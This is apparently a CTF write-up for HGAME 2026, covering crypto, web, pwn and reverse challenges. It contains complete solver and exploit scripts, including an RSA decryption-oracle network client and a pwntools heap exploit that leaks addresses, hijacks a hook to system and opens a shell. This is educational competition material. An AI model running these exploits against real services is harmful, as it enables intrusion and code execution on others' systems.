print("[check] m0(hex) =", hex(int(m0))[2:])
print("[check] parent(m0) =", m0.parent(), " parent(n) =", n.parent())

# =======================
# Flag format
# =======================
alphabet = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_@"
alphabet_bytes = [ord(ch) for ch in alphabet]
allowed = set(alphabet_bytes)

prefix = b"VIDAR{"
suffix = ord("}")
prefix_val = Z(int.from_bytes(prefix, "big"))

# =======================
# Helpers
# =======================
def t_interval(k):
"""
Find integer t range such that:
m = m0 + t*n is an L-byte number whose top 6 bytes equal b"VIDAR{"
where L = 7 + k.
"""
L = 7 + k
U = L - 6 # remaining bytes after prefix = k+1
base = Z(1) << (8 * U) # 256^U
low = prefix_val * base
high = low + base - 1
tmin = (low - m0 + n - 1) // n
tmax = (high - m0) // n
if tmax < tmin:
return None
return (L, U, tmin, tmax)

def solve_k(k, tail_check_bytes=8):
"""
Solve for one flag with given k (middle length).
Use congruence on last 4 bytes to reduce search:
(m0 + t*n) mod 2^32 == S (where S = [b1,b2,b3,'}'])
Then iterate t = t_res + j*2^32 within [tmin,tmax].
tail_check_bytes: quick filter bytes just before last4 (more => faster).
"""
info = t_interval(k)
if info is None:
return None
L, U, tmin, tmax = info

M = Z(1) << 32
nM = n % M
if nM == 0:
return None

inv_n = Z(inverse(int(nM), int(M))) # inverse of n mod 2^32
rmod = m0 % M
base_term = (-rmod * inv_n) % M

step_t = M
step_m = n * M

for b1 in alphabet_bytes:
for b2 in alphabet_bytes:
for b3 in alphabet_bytes:
S = Z((b1 << 24) | (b2 << 16) | (b3 << 8) | suffix)
t_res = (base_term + (S * inv_n)) % M

# smallest t >= tmin with t ≡ t_res (mod 2^32)
if t_res < tmin:
j = (tmin - t_res + M - 1) // M
t = t_res + j * M
else:
t = t_res
if t > tmax:
continue

m = m0 + t * n
while t <= tmax:
# quick tail check: next bytes before last 4 bytes should be in allowed
ok = True
mm = int(m >> 32)
for _ in range(tail_check_bytes):
bb = mm & 0xff
if bb not in allowed:
ok = False
break
mm >>= 8
if ok:
# full check
if (m >= (Z(1) << (8 * (L - 1)))) and (m < (Z(1) << (8 * L))):
bs = int(m).to_bytes(L, "big")
if bs.startswith(prefix) and bs[-1] == suffix:
mid = bs[6:-1]
if all(x in allowed for x in mid):
# final RSA verify (safety)
if pow(int.from_bytes(bs, "big"), int(e), int(n)) == int(c):
return bs.decode()

t += step_t
m += step_m

return None

# =======================
# Run
# =======================
for k in range(34, 41):
print("[*] try k =", k)
ans = solve_k(k, tail_check_bytes=10) # 10 bytes quick-filter, usually faster
if ans:
print("FOUND:", ans)
break
else:
print("not found in k=34..40")

![](HGAME 2026wp/1770179887718-364103ac-c4a2-47db-a7ad-955bed46370a.png)

ezRSA

![](HGAME 2026wp/1770806506252-98348e78-14cf-44bd-b7b2-d3d75bd60a3d.png)

![](HGAME 2026wp/1770806513610-39514f6e-35b8-4966-8cee-4ea828c16500.png)

![](HGAME 2026wp/1770806522420-55328dbd-3a28-41bf-90ef-4dee0fc98876.png)

![](HGAME 2026wp/1770806530597-294b4b8c-30f6-4a98-a46d-4597b42844f6.png)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
#!/usr/bin/env python3
import sys
import socket
import base64
from Crypto.Util.number import bytes_to_long, long_to_bytes
from Crypto.Util.Padding import unpad

class EZRSAClient:
def __init__(self, host, port, timeout=8):
self.s = socket.create_connection((host, port), timeout=timeout)
self.s.settimeout(timeout)

def close(self):
try:
self.s.close()
except Exception:
pass

def _recv_until(self, token: str) -> str:
data = b""
tok = token.encode()
while tok not in data:
ch = self.s.recv(1)
if not ch:
break
data += ch
return data.decode(errors="ignore")

def _recv_line(self) -> str:
data = b""
while not data.endswith(b"\n"):
ch = self.s.recv(1)
if not ch:
break
data += ch
return data.decode(errors="ignore").strip()

def _recv_nonempty_line(self) -> str:
while True:
line = self._recv_line()
if line:
return line

def _sendline(self, x):
self.s.sendall((str(x) + "\n").encode())

def _menu(self):
self._recv_until("Your choice > ")

def encrypt_flip(self, plain: int, x: int) -> int:
self._menu()
self._sendline(1)
self._recv_until("plz give me your plaintext:")
self._sendline(plain)
self._recv_until("and the bit you want to flip:")
self._sendline(x)
line = self._recv_nonempty_line()
return bytes_to_long(base64.b64decode(line))

def decrypt(self, cipher: int) -> bytes:
self._menu()
self._sendline(2)
self._recv_until("plz give me your ciphertext:")
self._sendline(cipher)
line = self._recv_nonempty_line()
return base64.b64decode(line)

def get_secret(self) -> int:
self._menu()
self._sendline(3)
line = self._recv_nonempty_line()
return bytes_to_long(base64.b64decode(line))


def solve(host: str, port: int):
io = EZRSAClient(host, port)
try:
# Step 1: n = Encrypt(-1, x=1) + 1
n_minus_1 = io.encrypt_flip(-1, 1)
n = n_minus_1 + 1
print(f"[+] n bits = {n.bit_length()}")

# Step 2: build R = (2^-1)^e mod n
inv2 = (n + 1) // 2
inv2_em1 = io.encrypt_flip(inv2, 0) # inv2^(e-1)
R = (inv2_em1 * inv2) % n
print("[+] built R = (2^-1)^e mod n")

# Step 3: get secret ciphertext (safe -> False)
C = io.get_secret()
print("[+] got secret C")

# Step 4: leak enough bits
t = n.bit_length() + 8
S = 0
cur = C

for i in range(t):
dec = io.decrypt(cur)
# disguise() flaw: last byte keeps useful info (at least LSB)
bi = dec[-1] & 1
S |= (bi << i)
cur = (cur * R) % n

if i % 128 == 0:
print(f"[*] progress {i}/{t}")

# Step 5: reconstruct m modulo 2^t
m = (-n * S) % (1 << t)
m_bytes = long_to_bytes(m)

# Step 6: unpad(127)
flag = unpad(m_bytes, 127)
try:
print("[+] FLAG =", flag.decode())
except UnicodeDecodeError:
print("[+] FLAG(bytes) =", flag)

finally:
io.close()


if __name__ == "__main__":
if len(sys.argv) != 3:
print(f"Usage: {sys.argv[0]} <host> <port>")
sys.exit(1)
solve(sys.argv[1], int(sys.argv[2]))

ezDLP

![](HGAME 2026wp/1770918000399-3309e246-bc69-4060-946a-fde0b483ec6d.png)

![](HGAME 2026wp/1770918007548-15c94723-021e-477f-972e-661e7b998743.png)

![](HGAME 2026wp/1770918014187-e1d5411c-a278-44e2-ad5b-f3bcaa0e9e3c.png)

![](HGAME 2026wp/1770918023766-a5f3d084-a3bb-4696-9191-15a90ad02194.png)

![](HGAME 2026wp/1770918029882-e8cd2a8f-0678-427d-8dfd-eba38c955e7e.png)

![](HGAME 2026wp/1770918037595-8237d7ed-74a6-4d17-bc99-267afd19fcfd.png)

![](HGAME 2026wp/1770918046548-398e0592-8e52-4701-ba12-07d0e46e01e5.png)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
import sympy as sp
from sympy.ntheory.modular import crt
import base64, hashlib
from Crypto.Cipher import AES

# -----------------------------
# 已知分解
# -----------------------------
p = 282964522500710252996522860321128988886949295243765606602614844463493284542147924563568163094392590450939540920228998768405900675902689378522299357223754617695943
q = 511405127645157121220046316928395473344738559750412727565053675377154964183416414295066240070803421575018695355362581643466329860038567115911393279779768674224503
n = p * q

# 由 data.sobj(或日志)得到
dA = 15817808119126963531015781684955216143684693476026607681079405518301037993553243151677337675430106039003008481842617116561177652425597156839530875095016635538379196518745896851295224817849316165417606766668978509586134741958331565849562377390553530764080287286652182032517629194099381708582435367589405440682495280615741495
dB = 39768986897591169164840488920703004783983428575283582885611858501132180489916826977050298088319157382247381001945404741061059918056245077400783128739425842720622460156402850709155415880437526931123023574813006053250446118689190379768448296471228304878781379521916180541302887512494221878758762502724876195088631665592987510

# 题目密文
ct_b64 = "ieJNk5335o9lCy6Ar2XymrDy+HVHcQhikluNSra0kBafw1WDCyyuNPkLACeBsavy"

# p-1 / q-1 的素因子(一次幂)
fp = [
2, 2226046369, 3502810481, 4014079469, 3223875139, 3191563373, 2268735587,
3736093457, 3557636569, 3500164253, 3837744041, 2325337747, 2429417281,
3436952653, 2489102951, 3556028761, 2314868233, 2726212847
]
fq = [
2, 2870841851, 3474870851, 4291204249, 2579730631, 3729159451, 3963309473,
3847848661, 2711989219, 3438707611, 4153951723, 2708075807, 2909724073,
2244072599, 2232963553, 2711612389, 2294802047, 4277578859
]

assert sp.prod(fp) == p - 1
assert sp.prod(fq) == q - 1
assert n == 144709507748526661267852152217031923282704243254105275252262414154410511284347828603240755427862752297392095652561239549522158121842455510674435510821274029842500154931546666242034086499872050823824437303603895977092291834159890433746969317535636398062008995784281741721729948231010601796589449187553147904043991226174291329

def order_from_factors(g, mod, factors):
o = sp.prod(factors)
for r in sorted(set(factors)):
while o % r == 0 and pow(g, o // r, mod) == 1:
o //= r
return int(o)

def dlog_ph(g, h, mod, factors):
o = order_from_factors(g, mod, factors)

# 将 o 分解成素因子列表(本题一次幂)
fac = []
t = o
for r in sorted(set(factors)):
c = 0
while t % r == 0:
t //= r
c += 1
fac += [r] * c
assert t == 1

residues, moduli = [], []
for r in fac:
gi = pow(g, o // r, mod)
hi = pow(h, o // r, mod)
xi = int(sp.discrete_log(mod, hi, gi, order=r))
residues.append(xi)
moduli.append(r)

x, _ = crt(moduli, residues)
x = int(x % o)
assert pow(g, x, mod) == (h % mod)
return x, o

gp, hp = dA % p, dB % p
gq, hq = dA % q, dB % q

xp, op = dlog_ph(gp, hp, p, fp)
xq, oq = dlog_ph(gq, hq, q, fq)

k0, M = crt([op, oq], [xp, xq])
k0 = int(k0 % M)
M = int(M)

LOW = 1 << 999
HIGH = (1 << 1000) - 1
tmin = (LOW - k0 + M - 1) // M
tmax = (HIGH - k0) // M

cands = [k0 + t * M for t in range(max(0, tmin), tmax + 1) if sp.isprime(k0 + t * M)]
assert len(cands) == 1
k = cands[0]

key = hashlib.md5(int(k).to_bytes((k.bit_length() + 7) // 8, "big")).digest()
ct = base64.b64decode(ct_b64)
pt = AES.new(key, AES.MODE_ECB).decrypt(ct)

pad = pt[-1]
if 1 <= pad <= 16 and pt[-pad:] == bytes([pad]) * pad:
pt = pt[:-pad]

print(pt.decode())

**hgame{1s_m@trix_d1p_rEal1y_sImpLe??}**


eezzDLP

![](HGAME 2026wp/1770806981432-83b6c01e-56a8-4901-baeb-6aaf9d832cac.png)

![](HGAME 2026wp/1770806965478-6ce0af54-1674-42ba-a7ea-71189ce99874.png)

![](HGAME 2026wp/1770807004310-fb9da468-84f5-4e3a-a05d-2071ac80d485.png)

![](HGAME 2026wp/1770807010637-27e5e768-5a33-477a-aa0e-47572cee9c3b.png)

![](HGAME 2026wp/1770807015669-c9382d8d-98b6-4623-a07c-3c437488c57f.png)

![](HGAME 2026wp/1770807020915-a6afc8dc-5395-4fdd-abe7-10e8d8138bce.png)

![](HGAME 2026wp/1770807027327-028c7942-d3b8-4cf3-b409-56d65ff6bd50.png)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import io
import zlib
import pickle
import math
import base64
import hashlib
import sympy as sp
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes
from Crypto.Util.Padding import unpad

DATA_PATH = "data.sobj"
CIPHERTEXT_B64 = "Q3UBa1pz1fi35L94peaFbPvpQe4UyXOUif3CKS/CmZdXOiV7bA5NNNjJ1KeUiAFE"
SMALL_FACTOR = 688465747867

class StubUnpickler(pickle.Unpickler):
def find_class(self, module, name):
fullname = f"{module}.{name}"
def stub(*args, **kwargs):
return {"__call__": fullname, "args": args, "kwargs": kwargs}
return stub

def load_sobj(path):
raw = zlib.decompress(open(path, "rb").read())
obj = StubUnpickler(io.BytesIO(raw)).load()

n = int(obj[0]["args"][0], 32)
A_entries = [int(x["args"][0]["args"][0], 32) for x in obj[1]["args"][4]]
B_entries = [int(x["args"][0]["args"][0], 32) for x in obj[2]["args"][4]]

A = [[A_entries[0], A_entries[1]],
[A_entries[2], A_entries[3]]]
B = [[B_entries[0], B_entries[1]],
[B_entries[2], B_entries[3]]]
return n, A, B

def mat_mul(X, Y, mod):
return [
[ (X[0][0]*Y[0][0] + X[0][1]*Y[1][0]) % mod,
(X[0][0]*Y[0][1] + X[0][1]*Y[1][1]) % mod ],
[ (X[1][0]*Y[0][0] + X[1][1]*Y[1][0]) % mod,
(X[1][0]*Y[0][1] + X[1][1]*Y[1][1]) % mod ],
]

def mat_pow(M, e, mod):
R = [[1, 0], [0, 1]]
B = [row[:] for row in M]
while e > 0:
if e & 1:
R = mat_mul(R, B, mod)
B = mat_mul(B, B, mod)
e >>= 1
return R

def bsgs_mod_prime_field(g, h, p, order):
m = math.isqrt(order) + 1
table = {}
cur = 1
for j in range(m):
if cur not in table:
table[cur] = j
cur = (cur * g) % p

factor = pow(pow(g, -1, p), m, p)
gamma = h
for i in range(m + 1):
j = table.get(gamma)
if j is not None:
x = i * m + j
if x < order and pow(g, x, p) == h:
return x
gamma = (gamma * factor) % p
return None

def recover_k(n, A, B):
p = math.isqrt(n)
assert p * p == n, "n must be p^2"

I = [[1, 0], [0, 1]]

# Step1: k mod p
Ap1 = mat_pow(A, p - 1, n)
Bp1 = mat_pow(B, p - 1, n)

X = [[((Ap1[i][j] - I[i][j]) // p) % p for j in range(2)] for i in range(2)]
Y = [[((Bp1[i][j] - I[i][j]) // p) % p for j in range(2)] for i in range(2)]

k_mod_p = None
for i in range(2):
for j in range(2):
if X[i][j] % p != 0:
k_mod_p = (Y[i][j] * pow(X[i][j], -1, p)) % p
break
if k_mod_p is not None:
break
if k_mod_p is None:
raise RuntimeError("failed to derive k mod p")

# Step2: k mod SMALL_FACTOR via eigenvalue DLP
f = SMALL_FACTOR
assert (p - 1) % f == 0

A_mod = [[A[0][0] % p, A[0][1] % p], [A[1][0] % p, A[1][1] % p]]
B_mod = [[B[0][0] % p, B[0][1] % p], [B[1][0] % p, B[1][1] % p]]

trA = (A_mod[0][0] + A_mod[1][1]) % p
discA = (trA * trA - 4) % p
sqrtA = sp.sqrt_mod(discA, p, all_roots=False)

trB = (B_mod[0][0] + B_mod[1][1]) % p
discB = (trB * trB - 4) % p
sqrtB = sp.sqrt_mod(discB, p, all_roots=False)

inv2 = pow(2, -1, p)
lam = ((trA + sqrtA) * inv2) % p
mu1 = ((trB + sqrtB) * inv2) % p
mu2 = ((trB - sqrtB) * inv2) % p

e = (p - 1) // f
g = pow(lam, e, p)
h1 = pow(mu1, e, p)
h2 = pow(mu2, e, p)

x1 = bsgs_mod_prime_field(g, h1, p, f)
x2 = bsgs_mod_prime_field(g, h2, p, f)
if x1 is None and x2 is None:
raise RuntimeError("BSGS failed")

# Step3: lift to full k by k = k_mod_p + p*t
L = 1 << 659
U = (1 << 660) - 1
t_min = (L - k_mod_p + p - 1) // p
t_max = (U - k_mod_p) // p

residues_t = []
for x in [x1, x2]:
if x is not None:
residues_t.append((x - k_mod_p) % f)

candidates = []
for t0 in residues_t:
j_start = (t_min - t0 + f - 1) // f
j_end = (t_max - t0) // f
for j in range(j_start, j_end + 1):
t = t0 + j * f
k = k_mod_p + p * t
if not (L <= k <= U):
continue
if (k & 1) == 0:
continue
if sp.isprime(k):
candidates.append(k)

finals = [k for k in candidates if mat_pow(A, k, n) == B]
if len(finals) != 1:
raise RuntimeError(f"unexpected final candidates: {len(finals)}")

return finals[0]

def main():
n, A, B = load_sobj(DATA_PATH)
k = recover_k(n, A, B)

key = hashlib.md5(long_to_bytes(k)).digest()
ct = base64.b64decode(CIPHERTEXT_B64)
pt = AES.new(key, AES.MODE_ECB).decrypt(ct)
try:
msg = unpad(pt, 16).decode()
except Exception:
msg = pt.decode(errors="ignore")

print("[+] k =", k)
print("[+] flag =", msg)

if __name__ == "__main__":
main()

Decision

![](HGAME 2026wp/1770811013970-40056db6-d600-48e1-a4e0-ef958d213b42.png)

![](HGAME 2026wp/1770811159581-37658306-bea5-4ef5-9382-2c920c500642.png)

![](HGAME 2026wp/1770811165730-e971e8e8-c94a-4e55-86d8-1ab400841764.png)

![](HGAME 2026wp/1770811170833-c8559fc6-6590-4b9b-b09b-f19d2c0ea052.png)

![](HGAME 2026wp/1770811178329-06179abe-6148-4ea1-8453-5cbc6f2a9251.png)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import argparse, ast, zipfile, re, random, statistics
from sympy import Matrix
from sympy.matrices.normalforms import hermite_normal_form
from fpylll import IntegerMatrix, LLL, CVP

def center(x, q):
x %= q
if x > q // 2:
x -= q
return x

def mod_rank(A, q):
A = [row[:] for row in A]
m, n = len(A), len(A[0])
r = 0
for c in range(n):
piv = None
for i in range(r, m):
if A[i][c] % q != 0:
piv = i
break
if piv is None:
continue
A[r], A[piv] = A[piv], A[r]
inv = pow(A[r][c], -1, q)
A[r] = [(v * inv) % q for v in A[r]]
for i in range(m):
if i != r and A[i][c] % q != 0:
f = A[i][c] % q
A[i] = [(A[i][j] - f * A[r][j]) % q for j in range(n)]
r += 1
if r == m:
break
return r

def solve_mod_linear(A, b, q):
m, n = len(A), len(A[0])
M = [[A[i][j] % q for j in range(n)] + [b[i] % q] for i in range(m)]
row, pivots = 0, []
for col in range(n):
piv = None
for r in range(row, m):
if M[r][col] % q != 0:
piv = r
break
if piv is None:
continue
M[row], M[piv] = M[piv], M[row]
inv = pow(M[row][col], -1, q)
for c in range(col, n + 1):
M[row][c] = (M[row][c] * inv) % q
for r in range(m):
if r != row and M[r][col] % q != 0:
f = M[r][col] % q
for c in range(col, n + 1):
M[r][c] = (M[r][c] - f * M[row][c]) % q
pivots.append((row, col))
row += 1
if row == m:
break

for r in range(row, m):
if all(M[r][c] % q == 0 for c in range(n)) and M[r][n] % q != 0:
return None

x = [0] * n
for r, col in reversed(pivots):
val = M[r][n]
for c in range(col + 1, n):
if M[r][c]:
val = (val - M[r][c] * x[c]) % q
x[col] = val % q
return x

def parse_input(zip_path):
zf = zipfile.ZipFile(zip_path)
data = ast.literal_eval(zf.read('task/output.txt').decode())
task_py = zf.read('task/task.py').decode()
q = int(re.search(r'#\s*q\s*=\s*([0-9]+)', task_py).group(1))
return data, q

def pair_cvp_candidate(data, q, g1, g2):
rows = data[g1] + data[g2] # 30 rows
A = [list(map(int, r[:25])) for r in rows]
b = [int(r[25]) for r in rows]
m = len(A)

r = mod_rank(A, q)
D = q ** (m - r)

# lattice in Z^m: {A*x + q*z}
M = Matrix(A).row_join(q * Matrix.eye(m))
H = hermite_normal_form(M, D=D, check_rank=False) # m x m
B = H.T.tolist()

IM = IntegerMatrix(m, m)
for i in range(m):
for j in range(m):
IM[i, j] = int(B[i][j])

LLL.reduction(IM)
v = CVP.closest_vector(IM, tuple(b))
e = [center(b[i] - int(v[i]), q) for i in range(m)]
mad = statistics.median(abs(x) for x in e)

s = solve_mod_linear(A, list(v), q)
return s, mad

def score_secret(data, q, s):
group_mads = []
for g in data:
rs = []
for row in g:
a, b = row[:25], int(row[25])
dot = 0
for ai, si in zip(a, s):
dot = (dot + int(ai) * int(si)) % q
rs.append(abs(center(b - dot, q)))
group_mads.append(statistics.median(rs))
return group_mads

def auto_threshold(vals):
s = sorted(vals)
best_i, best_ratio = 0, 0.0
for i in range(len(s) - 1):
if s[i] == 0:
continue
ratio = s[i + 1] / s[i]
if ratio > best_ratio:
best_ratio, best_i = ratio, i
thr = (s[best_i] + s[best_i + 1]) // 2
return thr, best_ratio

def decode_bits(bits):
bitstr = ''.join(str(b) for b in bits)
x = int(bitstr, 2)
inner = x.to_bytes(25, 'little')
return b'hgame{' + inner + b'}'

def main():
ap = argparse.ArgumentParser()
ap.add_argument('--zip', required=True, help='task.zip path')
ap.add_argument('--tries', type=int, default=40)
ap.add_argument('--seed', type=int, default=2026)
args = ap.parse_args()

data, q = parse_input(args.zip)
print(f"[+] q={q}")
print(f"[+] groups={len(data)}, samples/group={len(data[0])}")

random.seed(args.seed)
G = len(data)

pairs = [(i, i + 1) for i in range(min(G - 1, 40))]
seen = set(pairs)
while len(pairs) < args.tries:
i, j = random.randrange(G), random.randrange(G)
if i == j:
continue
if i > j:
i, j = j, i
if (i, j) in seen:
continue
seen.add((i, j))
pairs.append((i, j))

best = None
for k, (i, j) in enumerate(pairs, 1):
try:
s, mad = pair_cvp_candidate(data, q, i, j)
if s is None:
continue
if best is None or mad < best['mad']:
best = {'pair': (i, j), 's': s, 'mad': mad}
if k % 10 == 0:
print(f"[*] tried {k}/{len(pairs)}, best={best['pair']} mad={best['mad']}")
except Exception:
continue

if best is None:
raise RuntimeError("no valid candidate; increase --tries")

print(f"[+] best pair={best['pair']}, pair_mad={best['mad']}")
group_mads = score_secret(data, q, best['s'])
thr, ratio = auto_threshold(group_mads)
bits = [1 if x < thr else 0 for x in group_mads]

flag = decode_bits(bits)
print(f"[+] threshold={thr}, gap_ratio={ratio:.2e}")
print(f"[+] bit1={sum(bits)}, bit0={len(bits)-sum(bits)}")
print("[+] flag =", flag.decode())

if __name__ == "__main__":
main()

hgame{w1sh_you_4_h@ppy_new_y3ar}

Web

魔理沙的魔法目录

![](HGAME 2026wp/1769999506619-d1fd1b97-0246-4fbd-a5d2-88ed1adda46e.png)

![](HGAME 2026wp/1769999402082-2d62f6a4-6435-4663-beb5-77cebbb54d7e.png)

打开来之后要求阅读一小时之上

那一定是存在检验时间的部分,我们抓包看看

![](HGAME 2026wp/1769999377720-7fecc75d-db08-450d-960b-c7ec4102fe7d.png)

发现周期性会存在一个record看看

![](HGAME 2026wp/1769999364746-1465c4b3-fb6e-41b2-af48-6f21c82ea26e.png)

发现就是计算时间的,我们time改大一点,发现后边变成了success

这个时候再去看网页

![](HGAME 2026wp/1769999473347-2854ef08-7cc9-403d-b9ab-ced7ec017e22.png)

即可发现已经挑战成功

Pwn

Heap1sEz

![](HGAME 2026wp/1770032472643-4860fec1-aa52-424a-8899-b0aacec1aae0.png)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#!/usr/bin/env python3
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'info'

elf = ELF('./vuln')

HOST = args.HOST or '127.0.0.1'
PORT = int(args.PORT or 12345)

def start():
if args.REMOTE:
io = remote(HOST, PORT)
libc = ELF('./libc.so.6')
return io, libc
io = process('./vuln')
# 本地自动识别正在加载的 libc,避免你用题目 libc 导致偏移不匹配
libc_path = next(p for p in io.libs() if p.endswith('libc.so.6'))
libc = ELF(libc_path)
return io, libc

def menu(io, c):
io.sendlineafter(b'>\n', str(c).encode())

def add(io, idx, sz):
menu(io, 1)
io.sendlineafter(b'Index: ', str(idx).encode())
io.sendlineafter(b'Size: ', str(sz).encode())

def delete(io, idx):
menu(io, 2)
io.sendlineafter(b'Index: ', str(idx).encode())

def edit(io, idx, data, sz):
menu(io, 3)
io.sendlineafter(b'Index: ', str(idx).encode())
io.sendafter(b'Content: ', data.ljust(sz, b'\x00'))

def show(io, idx):
menu(io, 4)
io.sendlineafter(b'Index: ', str(idx).encode())
return io.recvline(False) # puts 输出的一整行(到 \n)

def gift(io, addr):
menu(io, 6)
io.sendlineafter(b'give me a hook\n', hex(addr).encode())

io, libc = start()

# 0) 先准备 idx=5,使 note_size[5] 足够大,后面用 edit(5) 写 notes 数组
add(io, 5, 0x100)

# 1) 申请两个 chunk,避免 free(0) 并入 top(这是你 bin_addr=0 的根因)
add(io, 0, 0x80)
add(io, 1, 0x80) # barrier
delete(io, 0)

# 2) 泄露 PIE:free chunk 的 fd = bin_at(&main_arena,1)
leak = show(io, 0)
bin_head = u64(leak.ljust(8, b'\x00'))
pie_base = bin_head - (elf.symbols['main_arena'] - 8)
log.success(f'bin_head = {hex(bin_head)}')
log.success(f'pie_base = {hex(pie_base)}')

notes_addr = pie_base + elf.symbols['notes']

# 3) unsafe unlink:把 notes[5] 写成 &notes
# unlink 写:
# *(fd+0x18)=bk -> notes[5]
# *(bk+0x10)=fd -> notes[2] (无所谓)
note5_slot = notes_addr + 5*8
fd = note5_slot - 0x18
bk = notes_addr
edit(io, 0, p64(fd) + p64(bk), 0x80)

# 触发 unlink:再次申请同 size(0x80 -> nb 相同)
add(io, 2, 0x80)

# 4) 现在 notes[5] == &notes,可用 edit(5) 改 notes 指针
puts_plt = pie_base + elf.plt['puts']
puts_got = pie_base + elf.got['puts']

# 先把 hook 设成 puts@plt
gift(io, puts_plt)

# notes[0] = puts@got, notes[5] 维持为 &notes
arr = [0]*16
arr[0] = puts_got
arr[5] = notes_addr
payload = b''.join(p64(x) for x in arr)
edit(io, 5, payload, 0x100)

# 5) delete(0) => free(notes[0]) 但 hook!=NULL => puts(puts@got) 泄露 libc puts
delete(io, 0)
puts_leak_line = io.recvline(False)
puts_leak = u64(puts_leak_line.ljust(8, b'\x00'))
libc_base = puts_leak - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
log.success(f'puts_leak = {hex(puts_leak)}')
log.success(f'libc_base = {hex(libc_base)}')
log.success(f'system = {hex(system_addr)}')

# 6) hook = system
gift(io, system_addr)

# 7) system(\"/bin/sh\")
add(io, 7, 8)
edit(io, 7, b'/bin/sh\x00', 8)
delete(io, 7)

io.interactive()

Reverse

PVZ

![](HGAME 2026wp/1770033799570-7de57b3a-269c-4022-8076-5292a86ec1a5.png)

DIE看看,可以看到本质是ZIP啊,我们改后缀一下

![](HGAME 2026wp/1770033847483-1ffbc985-9c7e-4cfb-ad57-28af5a48a48a.png)

可以看到游戏文件了

  1. 先确认:这玩意本质是“PE 外壳 + 里面塞了 Zip/JAR”

你截图里已经提示了 Zip(1.0)[JAR, ...]。直接把 exe 当 zip 解包即可:

1
2
3
unzip -l gpvz.exe | head
mkdir -p gpvz_unpack
unzip -q gpvz.exe -d gpvz_unpack

解出来会看到一堆 *.class 和资源文件(libGDX 项目结构)。


  1. “神秘仪式”的真实机制:摆阵哈希命中白名单就秒杀全场僵尸

javap 反编译字节码就能看清:

1
2
javap -classpath gpvz_unpack -c -p com.pvz.vidar.game.wsdx233.top.screen.GameScreen > GameScreen.txt
javap -classpath gpvz_unpack -c -p II1l > LawnGroup.txt

GameScreen 里有一个隐藏检查(方法名类似 updateHashReversedCheck):

  • 它会调用 lawnGroup.II(): long(在 II1l / LawnGroup 里),这是一个根据 9×5 草坪上每格植物类型计算出来的长整型哈希(扫描顺序是“反向”)。
  • 程序内置了 10 个 long 常量组成的白名单:只要当前布阵算出来的哈希落在白名单里,就会:
    • 屏幕抖动、闪字 WSDX
    • 对所有僵尸执行 receiveDamage(9999)(等价强制清场)
    • 然后安排胜利结算(进入 FlagScreen)

也就是说,“最后一波刀枪不入”只是剧情说法;真正通关开关是:布阵哈希要命中那 10 个值之一


  1. FlagScreen 的“解密”核心:实际上只剩 16-bit 种子,可直接暴力 65536

继续反编译:

1
javap -classpath gpvz_unpack -c -p com.pvz.vidar.game.wsdx233.top.screen.FlagScreen > FlagScreen.txt

关键点:

  • triggerVictory() 进入 FlagScreen(game, lawnGroup.O())
    • lawnGroup.O(): long 是**另一套扫描顺序(正向)**的布阵哈希,用来当作所谓的 zombieKillCount
  • FlagScreen.decryptFlag() 会把一个固定的 26 字节密文 killCountEncryptedFlag 做多层 XOR/替换/位移得到字符串,并校验必须形如 flag{...}
  • 表面上看 key 来自 hello + zombieKillCount,但实际 deriveKeyFromKillCount() 里把关键种子 取模 65536,并用一个 LCG 生成 16 字节 key。
